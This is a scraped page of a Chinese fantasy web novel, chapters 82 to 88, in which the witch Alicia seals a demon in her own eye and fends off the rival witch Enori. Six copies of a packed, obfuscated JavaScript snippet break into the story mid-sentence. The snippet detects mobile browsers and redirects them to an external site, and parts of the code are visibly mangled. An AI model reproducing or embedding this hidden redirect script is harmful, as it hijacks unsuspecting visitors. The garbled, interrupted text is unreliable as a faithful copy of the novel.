;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790202|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 艾莉西亚觉得自己的效率已经很高了,从被恶魔附身,到拿到智慧之书才过去不到三天,每一天艾莉西亚都要参与高强度作战,而在与赫默修斯的交锋之中落入下风,倒也不是什么很难接受的事。 艾莉西亚心里很清楚,自从被恶魔缠上那一刻开始,这就是一场持久战。 她精心凝神,现在,就让自己想起来,她的意识是怎么被恶魔关起来的吧。 艾莉西亚盘腿而坐,手背轻轻搭在膝盖上,她闭上眼睛那一刻,空间倒转,天与地翻倒,天地之间呈现出无序的混乱,艾莉西亚周围突然冒出许多黑白画面,那些画面一开始像接触不良的电子播放器,信号不稳,不停地闪烁着,但随着时间的流逝,一些褪色的画面逐渐变得清晰起来,颜色也慢慢地覆盖上来。 这个过程极慢,但始终在向前进行着。 现世。 工坊的车间中,米亚约克盯着不停在魔法阵内打转的恶魔,祂不再是四肢着地的样子,彻底掌握了艾莉西亚的身体后,恶魔不再像之前那样如同野兽一样扭曲的样子,祂人模人样地站着,额头上的山羊角已经突破了皮肉的束缚,冒出了一点尖尖。 看起来恶魔已经占据了这场拉锯战的上风,但祂无法突破艾莉西亚画好的魔法阵。 米亚一开始很紧张地戒备祂跑出来,后来却发现她的紧张是多余的,但她仍然担心,她不知道艾莉西亚的意识被恶魔弄到什么地方去了。 恶魔多次试图蛊惑米亚,想要让这个女骑士破坏魔法阵,然而女骑士新新星坚定,她冷眼看着,只紧握手里的剑。 艾莉西亚与恶魔陷入了僵持的对峙之中,而埃诺里的马车,已经到了工坊外。 82. 进击的女巫23 工坊外十分安静,里面的动静一点也没有传出来。 然而,埃诺里是个强大的女巫,她不需要动用魔力,只用眼睛,就能发现这个看似平静的工坊内部正在经历一场波涛汹涌的动荡,浓郁的魔力气息让这里像是刮起了一场魔力龙卷风。 埃诺里的马车夫在安抚两匹拉车的马,动物的本能让它们对这里充满恐惧,马车夫什么都不知道,在美艳不可直视的高贵女士面前,他觉得丢脸极了。 马车夫无法安抚马匹,他用鞭子狠狠地抽打,马儿发出痛苦的嘶鸣,这让埃诺里从沉思中清醒过来,她付了车费,让马车夫走远点,不要靠近这里。 马车夫搓了搓手,局促地接过钱,点头哈腰地走了。 马车夫走远了,埃诺里挥舞魔杖,“此地,应为我敞开大门。” 在埃诺里的认知中,没有人能拒绝她。无论工坊内正在发生什么,这都不能成为让她无功而返的理由。 …… 魔法阵的动荡引起了工坊内的恶魔的注意。 赫默修斯用充满煽动性的语言为米亚描述了一个充满悲剧的未来,在他抢夺来的身体内有艾莉西亚在不断突破意识封锁,阴影穿梭被完全封印——这让祂同样无法突破艾莉西亚设下的魔法阵,唯一的变数成了守在外面的米亚。 她的两个孩子在恶魔的口中沦为愚蠢人类的牺牲品,狄安娜穷困潦倒,从出卖武力到出卖身体,染病而亡;安格努力工作却无处容身,成为可悲的流浪汉,他流入进人口买卖的黑市,失去一条腿一只手臂,好不容易逃脱却因为贫困和饥饿,死于一个风雪交加的夜晚,收尸人把他的身体卖给外科医生,断臂残肢成为医疗垃圾…… 恶魔不但用语言描述,祂甚至通过声音激起米亚的想象,让她在脑海中不断重演孩子们悲惨的未来。 米亚的软肋是孩子,但也是她的盔甲。 她不容许孩子们受到丁点儿伤害,却也不会杞人忧天,尽管恶魔激发出她对孩子们悲惨未来的无尽想象,但她心中仍然坚信,她的孩子们不会让自己落入那样的境地——没有发生的事情,可能会任何一点小事改变。 就像过去的米亚不会知道,有一天当她发现一个人的命运与恶魔纠缠时,她没有立刻剔尖砍下那个人的脑袋,而是像个忠诚的守护者一样站在她的魔法阵外,为她的努力做最后一道保险。 这两个女人的心性之坚定远超赫默修斯的预料。 这是祂罕见的失败。 但是想想,也不那么意外,不是吗?人类的文明史传承至今已有上万年,这璀璨的历史长河中,总有那么些璀璨如恒星办的人物闪闪发光,曾经与众神一起对抗深渊恶魔们入侵的那些家伙,就是赫默修斯对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798855|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们恨之入骨,也难免佩服。 艾莉西亚在与赫默修斯的对抗中也在蚕食祂的能力,他们签订的契约成了最佳桥梁——赫默修斯利用契约将束缚她,成功地占据她的身体,而艾莉西亚同样利用契约反噬这个老奸巨猾的恶魔。 对这一点,赫默修斯无能为力。 干掉艾莉西亚的机会已经用掉了,当艾莉西亚从混沌中清醒,就宣告了恶魔的失败。 恶魔在深渊孤独地过了一年多年才抓住机会来到现世,这像一个近乎溺水的人好不容易抓住机会浮上水面,呼吸过自由的空气,谁还愿意回到水底慢慢窒息呢? 而正因为上浮的过程过于急切,赫默修斯来到现世的时候放弃了太多,以祂有限的能力中,根本无法撼动两个女人的坚定的信念。 不能再拖下去了。 赫默修斯知道,时间的天平并不在自己这一边,有了《智慧之书》加持的艾莉西亚像初升的朝阳,她会一步步壮大,壮大到将恶魔吞噬也不不误可能。 赫默修斯像是放弃了,祂学着艾莉西亚似的盘腿坐在魔法阵中央,开始思考如何与艾莉西亚谈判。 就在恶魔准备放柔身段时,工坊外传来了新的变化。 这一点赫默修斯发现了,正在努力挣脱束缚的艾莉西亚也发现了,两个家伙都不约而同地认为这是个好事。 83. 进击的女巫24 艾莉西亚的意识化作一道游龙,将环绕在她周围的、彩色的、黑白的、简笔画勾勒的线条席卷,在空中翻卷,一头扎进镜面一样平静无波的水面。 她的意识呈现出神话中的神龙一样强悍、所向披靡的特点,将平静的水面搅动得天翻地覆,顿时,这一处寂静之地如同海底火山喷发的海域一样水潮涌动,波涛一层叠着一层,限期千层高楼般的波澜,浪花时而相互拍打,时而翻滚着飞上天空。 赫默修斯构建的意识空间被这股强大的力量持续冲击,很快,在那看不见的尽头一般的无尽虚空之中,出现了玻璃碎裂一样的裂纹。 下一刻,禁锢破碎,水浪狂涌,艾莉西亚的意识从游龙散落进水中,感知由水流流散而逐渐扩散至全身,重新掌握了身体的主动权。 艾莉西亚睁开了眼睛。 但,额头上象征着恶魔的山羊角还在。 那是赫默修斯真正寄居之所。 看到艾莉西亚的眼神,米亚松了一口气,但艾莉西亚额头上的山羊角让这口气吁出一半,又吞了回去。 “你——” 艾莉西亚默默山羊角,还没说什么,听到了工坊大门打开的声音,她只好和米亚说,“拜托你帮忙拦住外面那个家伙。” 米亚看了艾莉西亚一眼,脚步没有动,“你确定不需要帮助?” 她提着剑,眼神跃跃欲试,艾莉西亚毫不怀疑,如果她同意,米亚就能立刻冲过来帮她砍掉那对丑陋的角。老实说,如果这么办能让赫默修斯彻底滚出去,艾莉西亚也会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803502|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫不犹豫那么做。 然而赫默修斯不愧是活了几千年的老不死,祂趁着艾莉西亚画完魔法阵的虚弱时期趁虚而入,那时候的赫默修斯是绝对碾压她的存在,而即使是这样,那家伙也准备了失败后的退路。 随着艾莉西亚以契约为桥梁反过来吞噬恶魔的力量,祂已然被动进入了虚弱期,除了那对山羊角,祂几乎毫无存在感。但要命的也是这对山羊角,艾莉西亚不确定弄掉之后会发生什么。 “不,我想现在那该死的恶魔一定能认清楚现实,当文明不能解决问题的时候,拳头就会补位。” 艾莉西亚这样对米亚说,等米亚离开后,艾莉西亚把恶魔叫出来,“别装死,恶魔,来谈谈吧,我想你一定不想被全大陆的人追杀,对吧?” 84. 进击的女巫25 米亚拎着剑,在车间门口遇到了埃诺里。 这个女巫来得气势汹汹,嚣张至极,这不禁让米亚怀疑,艾莉西亚花大价钱做的魔法阵有什么用?白花那么多钱! “私人领域,请勿擅闯,否则我将会上报巡逻也小队。”米亚尽管实力强悍,但为了能在卡斯塔尼亚城内定居,她花了不少功夫学习语言、法律和习俗,特别是针对超凡者的规定,她倒背如流,很担心因为自己的问题而导致两个孩子失学。 同样地,对于卡斯塔尼亚规定的超凡者不能随意闯入私人领域的规定也很清楚,当然,像艾莉西亚那种悄无声息就溜进去的行为不算,那毕竟没被现场揭穿身份,事后也找不到人。 这时候米亚还不知道,艾莉西亚已经通过一系列伪装把锅甩给了德蒙卡萨。 昨晚暗杀的对象,一天的时间都没有过去,就找上门来,米亚说着卡斯塔尼亚城法律,却难免心虚。 不过埃诺里上门不是为了找麻烦,她脖子上缠着雪白的绷带,眼神很亮,姿态很柔软,“我来拜访工坊的主人切斯特小姐,有急事请她帮忙,希望您能让我去见她。” 她的态度看起来不像寻仇,米亚问,“什么事?” 埃诺里面露难色,“请容许我保密。” 艾莉西亚现在还在和恶魔斗智斗勇,米亚一口否决,“请回吧,她现在不方便与客人会面。” 埃诺里像是顾不上保密,急切地说,“女士,请让我见见她吧,是对我来说很重要的事,我的亲人……我的弟弟,他需要得到治疗,我用尽了一切人脉,却不能为他寻到一位能治疗他的人,我真的没有办法了,女士,我听闻切丝小姐曾经得到过教堂的神父的帮助,从重伤的状态恢复健康,作为女巫能得到神职人员的帮助是一件多么不容易的事,我真诚地希望能得到切斯特小姐的引荐,求您了,女士。” 米亚觉得很割裂。 艾莉西亚的口中,埃诺里是一个强势的、奸诈的、残忍的政客和野心家,但眼前这个明艳漂亮却真诚的女人让人很难生出恶感。 米亚一边觉得艾莉西亚一定不会自己,一边又认为或许呢?埃诺里现在也只是担心受伤亲人的可怜人而已。 埃诺里很容易就察觉出米亚的复杂情绪,这简直太容易了,这个高大的女人简直把心里想的写在脸上。 原本以为这是一场恶战,甚至还有个荒原骑士在场,但很显然,这些没怎么经历过社会大熔炉的家伙还是太天真,埃诺里一边觉得庆幸,一边又感到些微不适和反感,女骑士的表现让她想到了刚到黑塔的自己,那时候的埃诺里也是这样,天真到极点,谁都能相信。 米亚的缺陷太明显了,埃诺里执意要闯进去,而她的态度又是那么地坚定,以至于米亚连剑都没有拔出来,就被埃诺里推搡着一退再退,退到另一个工作间,艾莉西亚所在的地方。 米亚十分无奈,好在艾莉西亚出声解救了她,“约克女士,不用拦着了,让她进来吧。” 米亚如蒙大赦,在埃诺里满怀感激的目光中灰溜溜地跑了。溜走之前,她扫了一眼工作间的布置,地面上封印恶魔的魔法阵已经消失了,正中间腾挪出来的大片空间恢复原状,车床和机器都回到了它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817724|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们原来的位置。 米亚再度感觉到女巫的神奇,当她在外面和埃诺里拉拉扯扯的时候,艾莉西亚却悄无声息地做完这一切,无论是她还是埃诺里,都没有察觉到这里的动静。 想到这里,米亚后背陡然冒出冷汗。 如果艾莉西亚悄无声息地用魔法将工作间恢复原状,那么连魔法阵都没有破坏及闯进工坊的埃诺里呢?她看到的埃诺里十分可怜,但却忽略了她这个人本身的危险性。 为什么呢? 艾莉西亚背对埃诺里,声音闷闷的,像被什么塞住喉咙,“埃诺里女士,我想无论你想让我帮什么忙,我都有心无力。” 面对艾莉西亚,埃诺里不会用那样一副软善的面孔,埃诺里知道,那次她利用报纸暗算艾莉西亚的事不会那么轻易地过去,否则,艾莉西亚今天就不会一大早就跑去巡夜者小队看她的笑话。 是的,埃诺里的线人特意提醒了埃诺里这一点,线人的本意是让埃诺里小心这个女人,但这一点反而让埃诺里有了新的思路,所以才会先让安托瓦跑着一趟,而安托瓦失败后,她也亲自跑了来。 “也许你可以先听听我可以付给你的酬劳呢?” 艾莉西亚像是听到了什么好笑的事,她始终没有转过身来直视埃诺里,“什么样的酬劳能让我对一个想要害死我的家伙伸出援手呢?这绝无可能。” 埃诺里摸着袖子上的宝石装饰,“你弄错了三点,首先,这不是对我深处援手,是司佩,你的朋友;其次,我能付出的酬劳远比你想象的更多;第三,你不会想知道拒绝我会有什么后果。” 85. 进击的女巫26 “哦,骄傲的埃诺里女士,威胁我之前,不如猜猜你的朋友还活着吗?” 埃诺里立刻想到安托瓦,她突然发现自己可能犯了很大的错,“你——” 艾莉西亚继续刺激她,“如果我是你,就不会丢下一个如此重要的人跑来城外,你得知道,当你处于劣势的时候,没有人可以信任,任何人都能为了某个原因背叛你。” 埃诺里把纷杂的念头全都压下去,她冷笑着说,“你不敢面对我?为什么?是怕自己被恶魔污染的真相被我知道吗?” 差一点就被骗过去了。 艾莉西亚这种人,像阴沟里的老鼠,她的命足够顽强,在下水道都能活下去。 但既然两个人有这么大的恩怨,她布置的魔法阵毫无用处,接着让一个废物女骑士挡在前面,却不肯出手,这是因为她不想吗? 不,她一定是不能。 女巫各有能力,从上一次火烧贵族庄园的情况来看,艾莉西亚的天赋不会比自己弱。 联想到进入工坊前,埃诺里在外面感受到的强大的魔法波动,埃诺里大胆推测,艾莉西亚一定因为某种原因限制了她的能力,所以才没有使用暴力拒绝她,而只是翻过来恐吓自己。 “呵呵,”艾莉西亚缓缓回过头,她的右边脸颊突兀地出现了奇怪的魔纹,那墨黑的颜色带着不详的气息,光是看着就让埃诺里是很不舒服。 除了脸上奇怪的魔纹外,她的额头光洁紧致,诡异的山羊角完全消失了。 艾莉西亚说,“看来你很信任安托瓦嘛,你答应他什么了?帮他找一个超凡者一起去沃华德?” 埃诺里嘴角漾起冷笑,眼中寒光毕露,“告诉我用什么方法让神父出手,否则我会让你成为整个卡斯塔尼亚、不,整个拉法索亚大陆的通缉犯——以恶魔信徒的身份。” 艾莉西亚丝毫不慌,她捏着下巴,端详着埃诺里的表情,“女士,你的虚张声势表明你对自己的话毫无信心啊,老实说,就是我刚从魔法塔逃出来的年纪,你也骗不到我。” 她抬抬下巴,示意埃诺里往周围看,“你没发现吗?当你踏入这个工作间的时候,你已经深陷恶魔的领域之中了,就算你能从这里逃出去,你能带着一身被恶魔腌制过的味道去举报我这个恶魔信徒?恐怕在我被绑起来烧死之前,你会先成为火刑架上烧焦的又一具尸体。” 埃诺里环视一周,当她集中注意力时,她在房间内的四角、门窗、天花板都看到了用恶魔力量编织的一层薄而浅淡、如同蛛丝一样的网,这个发现让她心惊不已。 艾莉西亚说,“你觉得安托瓦为什么不多努努力就离开呢?难到他不怕得罪你这个可以帮他得到一个超凡者帮助的大人物?他只是更怕我,明白吗。” 埃诺里目光沉下来。 昨晚遭受的打击让埃诺里失去了判断,她不该在没有把握的情况下就跑来威胁艾莉西亚的。 埃诺里这个人最大的优点是从不为难自己,见此情形,她立刻转了口风,“切斯特小姐,我很抱歉,我的无知冒犯了你。但请您相信,我是诚心向请求你帮助我的朋友,不,事实上司佩是我的弟弟——我在世上唯一的亲人,我不能看着他就这么死去。” 艾莉西亚惊讶地挑起一边的美貌,在心里对赫默修斯吐槽,“看到没?这才是最适合与你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823029|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 签订契约的人,你看看你们,完全没有接触,姿态却这么相似。” 赫默修斯遭受重创,为了来到现世,他放弃了大部分力量,之前在与艾莉西亚的较量中,又被她吞噬了不少,此时的祂只能龟缩于艾莉西亚指定的地方,对艾莉西亚的奚落和嘲笑,祂完全没兴趣回答。 “您真是一位好姐姐,埃诺里女士,”艾莉西亚像是被埃诺里的话感染,她真诚地说,“像您这样的姐姐实在是太少了,我相信您来这里一定不是为了让我成为对付圣骑士的炮灰,对吧?” 埃诺里咬牙强笑,“是的。” 她已经多少年没被人当面如此嘲笑了!她一定要杀了她,杀了切斯特! 艾莉西亚拿起一张帕子拭擦眼角不存在的泪水,“不过我要令你失望了,我不认识什么神父呢。” 埃诺里说,“那就不打扰您了。我再找别人试试。”但埃诺里没有立刻离开,她摸出一个绒布小袋子,放在一旁的桌子上,“这是一些魔法结晶,我想切斯特小姐您应该会用得上,就当是我对您的赔礼好了。” 艾莉西亚眼睛“唰”一下就亮了,埃诺里放下一半的心。 艾莉西亚的确很想要魔法结晶,这几天的事情让她迫不及待地想要提升实力。就算埃诺里不主动提,她都要想办法从她身上榨出来。 好在埃诺里是个成熟的社会人,很懂得如何平息一个不该得罪的人的怒火。 艾莉西亚说,“我没有帮上你的忙,按理说不应该收你的礼物,不过我突然想起来,有一位人应该能帮上你的忙。” 埃诺里,“您说?” “葛利斯·谢尔夫。” 86. 进击的女巫27 “谢尔夫?那个男宠?”埃诺里实在没想明白,艾莉西亚怎么会说出这个名字,要知道,那个家伙就是个漂亮的蠢货,他除了脸和身材能看,简直一无是处。 埃诺里在某个贵族的晚宴上见到过谢尔夫,那时谢尔夫已经被包装成一个落魄的贵族子弟,看起来人模狗样,这场宴会是主人为了讨好芙蕾?阿斯蒙德特意举报的,为的就是把她的小宠物正式介绍给社交圈。 然而芙蕾?阿斯蒙德的上一个情人不高兴被甩,跑到那场对谢尔夫至关重要的宴会要求和谢尔夫角斗,谢尔夫全程尖叫躲藏,要多狼狈有多狼狈,像一只尖叫鸡。最后是他在主人家的护卫保护之下才离开。 出了这样的事,谢尔夫彻底均为笑柄,也没有人再提接纳他进社交圈的事了。 埃诺里很难想象,这种人竟然有胆子和教廷的神职人员勾勾搭搭,他活腻了?还是芙蕾?阿斯蒙德爱他爱得眼睛都瞎了? 埃诺里忍不住看向艾莉西亚,就见这个年轻的女巫含笑看着自己,她右脸的诡异魔纹似有光芒闪过,那笑容似乎也变得扭曲诡谲,埃诺里只看了一眼就觉得心里发慌。 该死的切斯特! 埃诺里嘴里发苦,笑容勉强,“切斯特小姐,您在说笑吗?” “不不,埃诺里女士,我是一个收钱办事的诚信之人,你心里一定觉得很荒谬,为什么我会认为谢尔夫能帮助你,但如果你知道,那个看起来没什么脑子的家伙是个术士呢?当然,除了隐藏了术士的身份,我认为谢尔夫的愚蠢传闻一模一样。” 谢尔夫是术士? 这可真是让人惊讶,要知道出现在伯爵领二号人物身边的人往往会万众瞩目,更不要说谢尔夫还属于那种能在床笫之间影响芙蕾·阿斯蒙德判断的家伙(如果他有这样的能力),尽管他已经表现得像个把欲望写在脸上的家伙,可要在这么多双眼睛的注视下隐藏好身份,可不是一件容易得事。 埃诺里表面感谢艾莉西亚提供了方向,心里仍是不信。 艾莉西亚一看就知道她在想什么,并不在意地笑笑,说,“你知道为什么没人发现那家伙的身份吗?很简单,因为啊——知道的人都死掉了。” 艾莉西亚在斯图尔特大学为汉斯梅尔夫人展示内燃机机车的时候,如果不是因为她自己也隐藏了女巫的身份,那么现场就会出现一起内燃机爆炸事故,事故造成了一个年轻女人死亡,而汉斯梅尔夫人会被迫把资金投入康奈尔教授的项目。 此后,这个异世界的内燃机还会继续无限期推迟。 埃诺里从工坊大门走出来,回头看了一眼那座被魔法阵严密保护起来的房子,心情与来时天差地别。 但她只花了三秒钟整理心情,三秒过后,她拿出哨子吹响,马车夫很快过来,她坐上马车,头也不回地离开了这个工坊。 如果艾莉西亚说的是真的,那么她接下来就需要集中精力,用最短的时间抓到谢尔夫的把柄,然后通过谢尔夫,让神职人员给司佩治伤,甚至,她还能顺着谢尔夫的关系找到昨夜袭击自己的圣骑士和战斗修女,让他们付出血的代价! 不过,在这之前,她要想办法调查一下艾莉西亚和谢尔夫之间发生了什么。或许,是时候出动黑塔的夜鸦了。 该死的! 夜鸦出动,黑塔必然会知晓,到时候还要想办法搪塞回去。只是比起直接找黑塔派送治愈女巫,在没有解决铁甲丢失的问题前,这已经是能接受的选择了。 该死的圣骑士! 该死的战斗修女! 该死的切斯特! 埃诺里一想长老会那些繁琐的询问流程,她就没办法不诅咒这些讨厌的家伙。埃诺里发誓,她一定会将受到的屈辱和伤害加倍返还回去。 …… 埃诺里走后不久,艾莉西亚没有能力再支撑下去,她长舒一口气,缓缓地坐到地上。 她当然不是出于好心才告诉埃诺里谢尔夫的事,当然如果埃诺里有能力通过谢尔夫找人治好了司佩,那是她的本事,艾莉西亚无话可说。 谢尔夫背后关联着沃华德,他对艾莉西亚的险恶用心已经写在脸上了,如果埃诺里在找谢尔夫帮忙的过程中两个人干起来,那就是艾莉西亚喜闻乐见的好戏了。她相当于一句话,暂时解决两个 她脸上的诡异魔纹消失了,取而代之的是一只眼睛从琥珀色变成血一般的赤红,如果赫默修斯能以真身降临现世,就会发现她的瞳孔颜色与赫默修斯的瞳孔一模一样。 而恶魔赫默修斯,就被封印在艾莉西亚的右眼之中。 经历过与人类的博弈,恶魔元气大伤,谈判结束后到现在都不肯说话,可见恶魔也不是完全运筹帷幄的,吃亏了照样有脾气。 艾莉西亚把这些归结为,力量强大与否决定事情的走向,她对危险的敏锐嗅觉也帮助她从危机中找到了一条生路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825203|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假设艾莉西亚在深渊跑得不够快,被实力全盛时期的恶魔附身,那么现在根本轮不到艾莉西亚对恶魔颐指气使。不过现在么,恶魔丢盔弃甲,为了继续苟在现世,不得不委曲求全,被艾莉西亚利用得十分彻底。 米亚听到了工作间的动静,她进来的时候脚步轻盈,心情愉悦,解决了一个大问题,还不用伤害朋友,这让米亚感到很轻松。 艾莉西亚是一个不错的人,做事干脆利落,有手段,但也有底线,对朋友也很好。尽管米亚在艾莉西亚面前说得掷地有声,但真正让她杀死艾莉西亚,她还是会觉得这是个很困难的抉择。 然而,米亚看到了艾莉西亚的眼睛,她的轻松心情迅速转化为愤怒,怒火几乎要从眼睛里喷出来,“这就是你解决问题的方式?与恶魔共存,你知道这有多危险吗?” 艾莉西亚没形象地坐着,对她翻了个大大的白眼,“我知道,但我有选择吗?骑士,我只是想活下去。” 米亚的手下意识摸向腰间,艾莉西亚一看,撑着疲惫的身体,膝行后退,警惕说,“你干什么?我已经做得非常好了,那个可恶的恶魔再也不能影响我,你可不能违背你的承诺。” 米亚的剑已经放回车间了,她摸了个空,听到艾莉西亚的话,米亚气得半死,她把拳头攥的咯吱作响,“那你告诉我,你的承诺呢?你说了要封印那个恶魔。” “对啊,”艾莉西亚理直气壮地说,“我封印恶魔了吗?封印了!恶魔还能继续害人吗?不会了!” 米亚简直要咆哮了,“你没要用自己的眼睛来封印祂啊!” 艾莉西亚也朝她喊,“我也不知道最后会出现这样的结果啊!难道要我现在把眼珠子抠出来吗?” 米亚哑然。这当然不会。 艾莉西亚喘匀气,“事情走到这一步我也很抱歉,但是有什么办法呢?要怪就怪帕斯卡和那个卡西尼,可他们都已经被我解决了,难道我还能把他们从坟墓里挖出来鞭尸吗?不可能的。现在的结果已经最优解了,抱歉,以我的能力,我只能做到这一步。” 米亚也不知道说什么了。 比起她那些被恶魔们彻底奴役的族人,艾莉西亚的表现已经算得上非常有毅力了。 她的喉咙里像是卡了什么异物,米亚艰难地咽了口口水,良久才问,“接下来你要怎么做?你的眼睛太显眼了。” 艾莉西亚眼睛一亮,知道米亚这一关彻底过去了。 87. 进击的女巫28 艾莉西亚戴上了蕾丝眼罩,成了一个“独眼龙”,当她顶着眼罩去医院探望贝斯的时候,贝斯吓了一跳。 “你眼睛怎么了?” 艾莉西亚摸摸眼睛,选了个不那么容易挨骂的理由,“做实验的时候,金属碎片绷到眼睛上了,没什么问题,这个是为了好看。” 贝斯气狠了,在艾莉西亚背上拍了两下,“艾莉西亚!” 艾莉西亚抱起罗德挡在自己面前,“妈妈,看在你可爱的小女儿份上,别和我生气好吗?” 罗德坐在一边吃零食,还没有反应过来发生了什么,就已经双脚离地,她扭着身体挣扎,艾莉西亚不放,她张牙舞爪了一会儿,突然,艾莉西亚感觉手中一空,下一秒,罗德出现在病房角落,那里距离艾莉西亚最远。 罗德双手抱胸,嘟起嘴,不高兴地说,“请不要把我当玩具,女士,我是骑士罗德,你要尊重我。” 作为家中小的那一个,罗德记忆中有太多这样的画面,小时候觉得这样好玩,年龄大了却觉得不爽,她觉得姐姐还把她当个小孩子,特别是在经历过魔法塔的事之后,罗德觉得自己可厉害了,艾莉西亚应该用对待特蕾娅的方式对待自己。 贝斯惊讶地捂住了嘴巴,怕自己不小心叫出声。 艾莉西亚强忍笑意,十分郑重地回复罗德,“好的,罗德骑士,我为我的不庄重向您道歉。您真是一位勇敢而厉害的骑士。” “嘻嘻,艾莉西亚你真好。妈妈就从来不这么觉得。”罗德骄傲地昂着脖子,得意洋洋地看向贝斯。 贝斯觉得手痒。 病房里一片欢声笑语时,房门打开,皮尔从外面进来。 看到艾莉西亚的时候,皮尔不自觉绷紧肌肉,他有些局促地看着贝斯,希望贝斯能帮他劝劝艾莉西亚。然贝斯却像是没看到,她叫来罗德,让她把今天要写的作业拿出来。 这些天艾莉西亚在外奔波,罗德没有去上学,也没办法呆在工坊,就一直在医院,由贝斯教导她的学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840849|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。贝斯年轻的时候曾经跟着村里的神父念过几年书,最喜欢天文学,只是后来年纪到了要结婚,不得不中断学业。 “艾莉,”皮尔尴尬地叫住艾莉西亚,“最近很忙吗?都没来医院看爸爸?” 这显然是有怨气的,艾莉西亚故意让人安排了两件病房让夫妻俩住,艾莉西亚自从皮尔住院,几乎是能避则避。 实在是艾莉西亚知道,皮尔的想法已经根深蒂固了,人最不应该做的就是去改变别人,艾莉西亚正是明白这一点,才会想办法避开,以免见面就起争端。 “你会很快好起来的,爸爸,”艾莉西亚说,“医生说你的伤势不重,很快就可以出院了。而且,我想比起我的探望,您可能希望解决好债务问题吧。刚刚握在医院门口看到了酿酒厂经理的马车,唔,他看起来愁眉不展。” 她前两天还抽空来了医院,那时候不见皮尔找过来,今天酒厂经理没走多久就过来,艾莉西亚觉得皮尔的主动应该不仅仅只是想念自己了。 88. 进击的女巫29 皮尔脸色发白,声音带着几分哀求,“艾莉——” 这让贝斯和罗德都朝他们看过来。 艾莉西亚深吸一口气,扯出个笑容,“妈妈,特蕾娅今天会来医院探望您,我去外面看看她的马车到了没。” 说完没有再给皮尔一个眼神,从病房外出去了。 艾莉西亚站在医院的花园中,她手里拿着一支女士香烟,没有点燃,若有若无的尼古丁渐渐安抚下艾莉西亚烦躁的心绪。 人有的时候需要接受命运,和命运抗争是一定要做的,但抗争之后还赢不了,那就算了吧。 